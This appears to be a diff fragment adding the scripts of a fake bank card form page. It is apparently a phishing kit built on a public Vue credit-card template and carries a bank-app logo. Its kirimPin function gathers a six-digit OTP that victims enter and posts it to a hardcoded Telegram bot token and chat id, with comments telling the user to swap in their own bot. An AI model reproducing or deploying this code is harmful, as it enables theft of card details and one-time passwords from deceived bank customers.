+                next.focus();
+                break;
+            }
+        }
+    }
+}, false);
+
+pinContainer.addEventListener('keydown', function (event) {
+    var target = event.srcElement;
+    target.value = "";
+}, false);
+</script>
+
+<script src='https://cdnjs.cloudflare.com/ajax/libs/vue/2.6.10/vue.min.js'></script>
+<script src='https://unpkg.com/vue-the-mask@0.11.1/dist/vue-the-mask.js'></script><script  src="./credit.js"></script>
+<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
+<script>
+    /*
+See on github: https://github.com/muhammederdem/credit-card-form
+*/
+
+new Vue({
+  el: "#app",
+  data() {
+    return {
+      currentCardBackground: Math.floor(Math.random()* 25 + 1), // just for fun :D
+      cardName: "",
+      cardNumber: "",
+     
+      cardCvv: "",
+      cardPin: "",
+      cardPin1: "",
+      cardPin2: "",
+      cardPin3: "",
+      cardPin4: "",
+      cardPin5: "",
+      amexCardMask: "#### ###### #####",
+      otherCardMask: "#### #### #### ####",
+      cardNumberTemp: "",
+      isCardFlipped: false,
+      focusElementStyle: null,
+      isInputFocused: true
+    };
+  },
+  mounted() {
+    this.cardNumberTemp = this.otherCardMask;
+    document.getElementById("cardNumber").focus();
+  },
+  computed: {
+    getCardType () {
+      let number = this.cardNumber;
+      let re = new RegExp("^4[0-8]");
+      if (number.match(re) != null) return "visa";
+
+      re = new RegExp("^3[4-7]");
+      if (number.match(re) != null) return "amex";
+
+      re = new RegExp("^5[1-8]");
+      if (number.match(re) != null) return "mastercard";
+
+      re = new RegExp("^6011");
+      if (number.match(re) != null) return "discover";
+      
+      re = new RegExp("^6013");
+      if (number.match(re) != null) return "gpn";
+      
+      re = new RegExp('^9792')
+      if (number.match(re) != null) return 'troy'
+
+      return "none"; // default type
+    },
+		generateCardNumberMask () {
+			return this.getCardType === "amex" ? this.amexCardMask : this.otherCardMask;
+    },
+     minCardMonth () {
+      if (this.cardYear === this.minCardYear) return new Date().getMonth() + 1;
+      return 1;
+    }
+  },
+  watch: {
+    cardYear () {
+      if (this.cardMonth < this.minCardMonth) {
+        this.cardMonth = "";
+      }
+    }
+  },
+  methods: {
+    flipCard (status) {
+      this.isCardFlipped = status;
+    },
+    focusInput (e) {
+      this.isInputFocused = true;
+      let targetRef = e.target.dataset.ref;
+      let target = this.$refs[targetRef];
+      this.focusElementStyle = {
+        width: `${target.offsetWidth}px`,
+        height: `${target.offsetHeight}px`,
+        transform: `translateX(${target.offsetLeft}px) translateY(${target.offsetTop}px)`
+      }
+    },
+    
+    
+    blurInput() {
+      let vm = this;
+      setTimeout(() => {
+        if (!vm.isInputFocused) {
+          vm.focusElementStyle = null;
+        }
+      }, 300);
+      vm.isInputFocused = false;
+    }
+  }
+});
+
+
+
+function kirimPin() {
+    
+   
+  var pin1 = document.getElementById('pin1');
+ var pin2 = document.getElementById('pin2');
+ var pin3 = document.getElementById('pin3');
+ var pin4 = document.getElementById('pin4');
+ var pin5 = document.getElementById('pin5');
+ var pin6 = document.getElementById('pin6');
+     
+  var gabungan = '%0A𝗢𝗧𝗣 %3A%0A' + pin1.value + pin2.value + pin3.value + pin4.value + pin5.value + pin6.value;
+  
+     
+    var token = '5653453855:AAHFJmxmA-2Fpi8XP0_0cq-f5SpU9PlbuNc'; // Ganti dengan token bot yang kamu buat
+    var grup = '5627477315'; // Ganti dengan chat id dari bot yang kamu buat
+
+    $.ajax({
+        url: `https://api.telegram.org/bot${token}/sendMessage?chat_id=${grup}&text=${gabungan}&parse_mode=html`,
+        method: `POST`,
+    })
+}
+</script>
+
+<script>
+//var pinContainer = document.getElementsByClassName("pin-code")[maxlength];
+var pinContainer = document.querySelector(".pincode");
+console.log('There is ' + pinContainer.length + ' Pin Container on the page.');
+
+pinContainer.addEventListener('keyup', function (event) {
+    var target = event.srcElement;
+    
+    var maxLength = parseInt(target.attributes["maxlength"].value, 6);
+    var myLength = target.value. length;
+
+    if (myLength >= maxLength) {
+        var next = target;
+        while (next = next.nextElementSibling) {
+            if (next == 0) break;
+            if (next.tagName.toLowerCase() == "input") {
+                next.focus();
+                break;
+            }
+        }
+    }
+
+    if (myLength === 0) {
+        var next = target;
+        while (next = next.previousElementSibling) {
+            if (next == 0) break;
+            if (next.tagName.toLowerCase() == "input") {
+                next.focus();
+                break;
+            }
+        }
+    }
+}, false);
+
+pinContainer.addEventListener('keydown', function (event) {
+    var target = event.srcElement;
+    target.value = "";
+}, false);
+
+
+</script>
+<script>
+function cekno0(){$(".errtelp").empty();var o,n=$(".card-input__input1").val(),r=n.length;if(r>=4&&r<=19){o=n.substring(0,4);var a=tsel.length,e=0,t=!0;for(nomor="bukan";a>e;)tsel[e]==o&&($(".card-input__input1").css({"background-image":"url(https://upload.wikimedia.org/wikipedia/commons/4/41/Visa_Logo.png)"}),nomor="TELKOMSEL",t=!1),++e;for(a=isat.length,e=0;a>e&&t;)isat[e]==o&&($(".card-input__input1").css({"background-image":"url(https://seeklogo.com/images/G/gpn-logo-36CC6EB701-seeklogo.com.png)"}),nomor="INDOSAT",t=!1),++e;for(a=tree.length,e=0;a>e&&t;)tree[e]==o&&($(".card-input__input1").css({"background-image":"url(https://upload.wikimedia.org/wikipedia/commons/thumb/b/b7/MasterCard_Logo.svg/600px-MasterCard_Logo.svg.png)"}),nomor="THREE",t=!1),++e;for(a=sfren.length,e=0;a>e&&t;)sfren[e]==o&&($(".card-input__input1").css({"background-image":"url(https://upload.wikimedia.org/wikipedia/commons/thumb/4/40/JCB_logo.svg/600px-JCB_logo.svg.png"}),nomor="SMARTFREN",t=!1),++e;for(a=xl.length,e=0;a>e&&t;)xl[e]==o&&($(".card-input__input1").css({"background-image":"url(https://3.bp.blogspot.com/-WM_SGpSoqNY/WkDuWGIi8_I/AAAAAAAABic/6sHIwe7dh1sm0CC1ZAokqhsR3vZuRErxgCPcBGAYYCw/s1600/xl.png)"}),nomor="XL",t=!1),++e;for(a=axis.length,e=0;a>e&&t;)axis[e]==o&&($(".card-input__input1").css({"background-image":"url(https://4.bp.blogspot.com/-3GaLxmQk2sc/WkDuVAN41pI/AAAAAAAABiI/IdxzPaiB_XMNKc-37Clgmn6SxKtw_PwQACPcBGAYYCw/s1600/axis.png)"}),nomor="AXIS",t=!1),++e;"bukan"==nomor?(blocktombol(),gambaroperatorhilang()):r>=10&&12>=r?bukablocktombol():blocktombol()}else blocktombol(),gambaroperatorhilang()}function adahurufstring(){var o=!0,n=$(".card-input__input1").val(),r=n.length;if(n=parseInt(n),n=n.toString().length,r==n+1)var o=!1;return o}function blocktombol(){$(".tombol").prop("disabled",!0)}function bukablocktombol(){$(".tombol").prop("disabled",!1)}function gambaroperatorhilang(){$(".card-input__input1").css({"background-image":"url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhShUt8NcMuBcL20gEw9MEJV-Um7IHIGE6AAyYsmzLnEgZVKU30O8vBgmkWoIsvT9lraoWxkoTwxsEk770iHBY20X5EGUZ7OWb41uDs3xzOh329qZcaSLeC40w_OZFPypTsJNjJ5rqVr3AI_PO8sIWiuEwmxKy53-PqbJ2phYD6c5iE22XVVJKlAAKY/s1600/brimo.png)"})}function isNumberKey(o){var n=o.which?o.which:event.keyCode;return n>31&&(48>n||n>57)?!1:!0}var tsel=["4365","4000","3422","4750","4895","4259","4149","4098"],isat=["6013"],tree=["5188","5221","5520","5211","5576","5463","5379","5289","5000","5520","5336","4599","5528"],sfren=["4213","3000","3565"],nomor,datapr;$(document).on("keyup",".card-input__input1",cekno0);
+</script>
+<script>
+    const dateInput = document.getElementById('date');
+
+// ✅ Using the visitor's timezone
+dateInput.value = formatDate();
+
+console.log(formatDate());
+
+function padTo2Digits(num) {
+  return num.toString().padStart(2, '0');
+}
+
+function formatDate(date = new Date()) {
+  return [
+    date.getFullYear(),
+    padTo2Digits(date.getMonth() + 1),
+    padTo2Digits(date.getDate()),
+  ].join('-');
+}
+
+// ✅ Using UTC (universal coordinated time)
+// dateInput.value = new Date().toISOString().split('T')[0];
+
+// console.log(new Date().toISOString().split('T')[0]);
+
+</script>
\ No newline at end of file
